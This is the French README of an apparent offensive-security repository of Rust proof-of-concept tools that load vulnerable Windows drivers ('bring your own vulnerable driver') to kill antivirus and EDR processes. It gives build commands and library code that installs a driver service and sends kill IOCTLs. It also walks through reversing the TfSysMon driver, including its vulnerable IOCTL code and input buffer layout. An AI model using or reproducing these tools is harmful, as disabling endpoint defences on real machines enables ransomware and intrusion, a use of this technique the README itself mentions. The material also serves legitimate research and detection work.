BYOVD

BYOVD est une collection de PoC démontrant comment des pilotes vulnérables peuvent être exploités pour désactiver les solutions AV/EDR.

La collection inclut à la fois des pilotes non documentés et ceux déjà couverts par LOLDDrivers ou les règles de blocage de pilotes recommandées par Microsoft.

Depuis sa découverte initiale, le pilote TfSysMon a été ajouté à LOLDrivers et abusé par des groupes de ransomware utilisant l'outil EDRKillShifter, comme rapporté par Sophos et ESET

📚 Table des matières

• 🔍 Vue d'ensemble
• 🏗️ Structure du projet
• 🔧 Compilation
• 📦 byovd-lib
• 💡 PoC
• 🔬 Processus complet de rétro-ingénierie de pilote (x64)
• 🔗 Références
• ⚠️ Avertissement

🔍 Vue d'ensemble

La technique BYOVD a récemment gagné en popularité dans la sécurité offensive, notamment avec la sortie d'outils tels que Terminator de SpyBoy (vendu 3 000 $) et le projet ZeroMemoryEx Blackout. Ces outils exploitent des pilotes vulnérables pour désactiver les agents AV/EDR, facilitant ainsi d'autres attaques en réduisant la détection.

Ce dépôt contient plusieurs PoC développés à des fins éducatives, aidant les chercheurs à comprendre comment ces pilotes peuvent être abusés pour terminer des processus.

🏗️ Structure du projet

Le projet est organisé en espace de travail Rust Cargo. La plupart des PoC partagent une bibliothèque commune (byovd-lib) qui gère le code standard : cycle de vie du service pilote, répartition des IOCTL, surveillance des processus, ajustement des privilèges et nettoyage. Chaque killer est un binaire léger (~50-100 lignes) qui ne définit que sa configuration spécifique au pilote. K7Terminator, Astra64-Killer, Ktapi-Killer et Xhunter1-Killer sont autonomes — ils possèdent leurs propres déclarations [workspace] et sont compilés directement depuis leurs propres répertoires, et non via l'espace de travail racine.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

Chaque répertoire `*-Killer/` contient son propre `Cargo.toml`, `src/main.rs` (l'implémentation de `DriverConfig` + CLI), `README.md` (empreintes du pilote + utilisation), et le fichier `.sys` correspondant que le binaire charge à l'exécution.

## 🔧 Compilation

**Prérequis :** chaîne d'outils Rust et outils de build Visual Studio avec le SDK Windows.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Les binaires sont générés dans target/release/. Copiez le fichier pilote .sys correspondant dans le même répertoire que l'exécutable avant de l'exécuter.

📦 byovd-lib

byovd-lib est la bibliothèque partagée sur laquelle reposent tous les PoC (à l'exception de K7Terminator). Elle expose deux API complémentaires — une API déclarative de haut niveau pour le flux standard « installer le pilote, tuer à vue, nettoyer », et une API impérative de bas niveau pour les killers qui nécessitent un flux personnalisé (attachement à un pilote déjà chargé, répartition vers plusieurs PID, tampons IOCTL structurés, logique de nouvelle tentative personnalisée, etc.). Les deux peuvent être combinées dans le même binaire.

Structure du module```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### API de haut niveau : trait `DriverConfig` + `run()`

C'est ce que les killers inclus utilisent. Implémentez le trait, appelez `byovd_lib::run()`, et c'est terminé.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() fait : preflight_check → installation du service (SERVICE_DEMAND_START) → StartService → moniteur kill-on-sight (Ctrl+C pour quitter) → arrêt et suppression du service.

Remplacements de traits optionnels avec leurs valeurs par défaut :

API de bas niveau : éléments impératifs

Lorsque le flux de trait ne convient pas -- p. ex. le pilote est déjà chargé et vous souhaitez uniquement déclencher un seul IOCTL, vous avez besoin d'une politique de nouvelle tentative personnalisée, l'IOCTL prend une entrée structurée plutôt qu'un simple PID, ou vous voulez répartir sur tous les PID correspondants -- composez directement les éléments de niveau inférieur.

Cycle de vie du pilote -- ByovdDriver :```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**Répartition des IOCTL** -- `DeviceHandle` expose cinq formes typées :

| Méthode | Utilisation |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Buffers d'entrée et de sortie, types distincts |
| `ioctl_inout<T>(code, &mut data)` | Même buffer pour l'entrée et la sortie |
| `ioctl_in<I>(code, &input)` | Entrée uniquement, pas de buffer de sortie |
| `ioctl_in_unchecked<I>(code, &input)` | Entrée uniquement, ignore les échecs (alternative par appel à `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Échappatoire pointeur brut |

Les formes typées suppriment le code répétitif manuel `to_ne_bytes()` / `extend_from_slice()` lorsque l'IOCTL prend une structure (par ex. `{ pid: u32, padding: [u8; 20] }`).

**Recherche de processus** -- `find_pid_by_name(name)` (première correspondance) et `find_all_pids_by_name(name)` (toutes les correspondances, exclut les PID système ≤ 4).

**Boucle de surveillance personnalisée** -- `run_monitor_loop(name, interval, |pid| ...)` prend une fermeture pour que vous puissiez faire ce que vous voulez à chaque correspondance (plusieurs IOCTL, journalisation structurée, répartition sur plusieurs PID, nouvelle tentative en cas d'erreur).

**Privilèges** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` pour les pilotes qui exigent des privilèges de jeton explicites. `ensure_running_as_local_system()` renvoie une erreur si le processus ne s'exécute pas en tant que `S-1-5-18`.

**Wrappers de handles** -- `WinHandle` (auto-`CloseHandle`) et `ScHandle` (auto-`CloseServiceHandle`) sont `Send + Sync` et peuvent être déplacés entre threads.

### Exemple : attachement à un pilote déjà chargé, sans cycle de vie de service

C'est ce que fait `UnknownKiller --attach` -- ignore complètement le SCM, ouvre simplement le périphérique et déclenche l'IOCTL une fois :```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

Alias de rétrocompatibilité

FileHandle / ServiceHandle continuent de résoudre vers WinHandle / ScHandle, et get_pid_by_name est conservé comme alias de find_pid_by_name, afin que le code plus ancien référençant ces noms continue de compiler.

💡 POCs

Vous trouverez ci-dessous les pilotes et leurs PoC respectifs disponibles dans ce dépôt :

• AppRemover-Killer : Cible ardrv.sys d'OPSWAT AppRemover.
• Astra64-Killer : Cible astra64.sys d'EnTech Taiwan (Astra32 / TVicHW) -- killer EDR autonome par détournement Shadow SSDT basé uniquement sur les données.
• BdApiUtil-Killer : Cible BdApiUtil64.sys de Baidu AntiVirus (CVE-2024-51324).
• CcProtect-Killer : Cible CcProtect.sys de CnCrypt.
• EnPortv-Killer : Cible EnPortv.sys de Guidance EnCase.

🔬 Processus complet de rétro-ingénierie de pilote (x64)

Cette section démontre la méthodologie complète de rétro-ingénierie de A à Z en utilisant le pilote TfSysMon comme exemple pratique. Ce processus s'applique à l'analyse de tout pilote de noyau Windows x64.

🎯 Étape 0 : Pré-analyse - Examen des imports de fonctions

Vérifiez les imports du pilote avant de commencer la rétro-ingénierie.

Un pilote killer de processus de base nécessite 2 éléments :

un moyen d'obtenir un handle sur un processus (par exemple ZwOpenProcess ou NtOpenProcess)

un moyen de terminer le processus (par exemple ZwTerminateProcess ou NtTerminateProcess)

Vérifiez si un pilote importe les deux types de fonctions. Si un pilote possède dans ses fonctions importées Nt/ZwOpenProcess ET Nt/ZwTerminateProcess, alors c'est un candidat potentiel de pilote killer de processus.

Ce n'est qu'après avoir confirmé ces imports que vous devez procéder à la rétro-ingénierie détaillée dans IDA Pro.

🛠️ Prérequis pour l'analyse de pilotes x64

Outils requis :

• IDA Pro - pour désassembler le pilote en vue d'une analyse statique
• OSRLoader - pour charger/exécuter le pilote (alternative à la commande sc.exe)

📍 Étape 1 : Localiser et analyser DriverEntry

Chaque pilote Windows commence par DriverEntry - trouvez cette fonction en premier :

Dans TfSysMon, le DriverEntry ressemble à ceci :```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**Notes d’analyse :**
- Le code effectue une certaine initialisation avec BugCheckParameter2 et BugCheckParameter3
- La véritable initialisation du pilote se produit dans `sub_17484`
- Suivez l’appel à `sub_17484(DriverObject)` — c’est là que la configuration réelle du pilote a lieu

### 📍 Étape 2 : Suivre la chaîne d’initialisation du pilote

**Accédez à la fonction d’initialisation (`sub_17484`) :**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

Principales conclusions de la rétro-ingénierie :

• Nom du périphérique : \\Device\\TfSysMon (espace noyau)
• Lien symbolique : \\DosDevices\\TfSysMon (accessible en mode utilisateur sous la forme \\.\\TfSysMon)
• Type de périphérique : 0x22 = FILE_DEVICE_UNKNOWN
• Gestionnaire d'IRP : Toutes les fonctions principales pointent vers sub_17694
• Fonction cible : MajorFunction[14] = gestionnaire d'IRP_MJ_DEVICE_CONTROL

📍 Étape 3 : Analyser la fonction de répartition des IRP

Accédez à la fonction de répartition (sub_17694) :```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**Analyse de rétro-ingénierie :**
- La validation du périphérique se produit en premier (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` détermine le type d'opération
- **CRITIQUE** : les valeurs MajorFunction 14 (0xE) et 15 (0xF) appellent `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = traitement des IOCTL
- Le chemin de code vulnérable est : **requête IOCTL → sub_177D8**

### 📍 Étape 4 : Rétro-ingénierie du gestionnaire d'IOCTL

**Accédez à la fonction de traitement des IOCTL (`sub_177D8`) :**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

Découvertes critiques en rétro-ingénierie :

• Extraction IOCTL : v7 = *(_DWORD *)(a2 + 24) récupère le code IOCTL depuis IO_STACK_LOCATION
• Tampon d'entrée : Irp->AssociatedIrp.MasterIrp contient les données utilisateur
• Longueur du tampon : v9 = *(unsigned int *)(a2 + 16) récupère la taille du tampon d'entrée
• IOCTL vulnérable : 0xB4A00404 mène à sub_1837C
• Vérification de taille : Valide uniquement que le tampon ≥ 0x18 (24 octets) - validation minimale !

📍 Étape 5 : Analyser la fonction vulnérable

Naviguez vers la fonction de terminaison de processus (sub_1837C) :```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**Analyse des fonctions :**
- **Structure d'entrée** : D'après l'analyse du code du pilote, nous avons déterminé la disposition du tampon où le PID se trouve à l'offset +4
- **Analyse de l'entrée** : `v3 = *(void **)(a1 + 4)` extrait le PID du tampon d'entrée à l'offset +4
- **Ouverture du processus** : `ZwOpenProcess` avec des droits d'accès minimaux (1u = PROCESS_TERMINATE)
- **Aucune vérification de sécurité** : Aucune validation des privilèges de l'appelant ni de la protection du processus cible
- **Terminaison du processus** : Appel direct à `ZwTerminateProcess`
- **Logique de nouvelle tentative** : Plusieurs tentatives pour l'ouverture et la terminaison
- **Processus quelconque** : Peut terminer tout processus accessible au compte SYSTEM

### 📍 Étape 6 : Cartographier la chaîne d'attaque complète

**Flux complet de rétro-ingénierie :**
1. **Point d'entrée** : L'utilisateur appelle `DeviceIoControl` sur `\\.\\TfSysMon`
2. **Création de l'IRP** : Le gestionnaire d'E/S crée l'IRP avec MajorFunction = 14
3. **Répartition** : `sub_17694` achemine vers `sub_177D8` pour le traitement de l'IOCTL
4. **Vérification de l'IOCTL** : `sub_177D8` valide le code IOCTL `0xB4A00404` et la taille du tampon ≥ 24 octets
5. **Exécution** : Appelle `sub_1837C` avec le tampon d'entrée utilisateur
6. **Terminaison** : `sub_1837C` extrait le PID de l'offset +4 et termine le processus via `ZwTerminateProcess`

**Structure du tampon d'entrée (d'après la rétro-ingénierie du pilote) :**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

Cette méthodologie démontre comment rétro-ingénierer systématiquement n'importe quel pilote kernel Windows x64 pour identifier des vulnérabilités similaires en suivant le chemin d'exécution, de la communication en mode utilisateur jusqu'aux opérations kernel dangereuses.

Support 🍺

Si BYOVD a aidé vos opérations red team, pensez à m'offrir une bière :

🔗 Références

• Blog d'Alice Climent-Pommeret : Finding and Exploiting Process Killer Drivers with LOL for $3000
• LOLDrivers : A Central Repository of Known Vulnerable Drivers
• Règles de blocage de pilotes Microsoft : Microsoft's Recommended Driver Block Rules
• Windows Kernel Programming par Pavel Yosifovich
• Windows Internals, Part 1 & 2 par Mark E. Russinovich, Alex Ionescu, David Solomon

⚠️ Avertissement

Le projet BYOVD est destiné uniquement à des fins éducatives et de recherche. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ces programmes. Demandez toujours une autorisation explicite avant d'utiliser ces outils sur un système.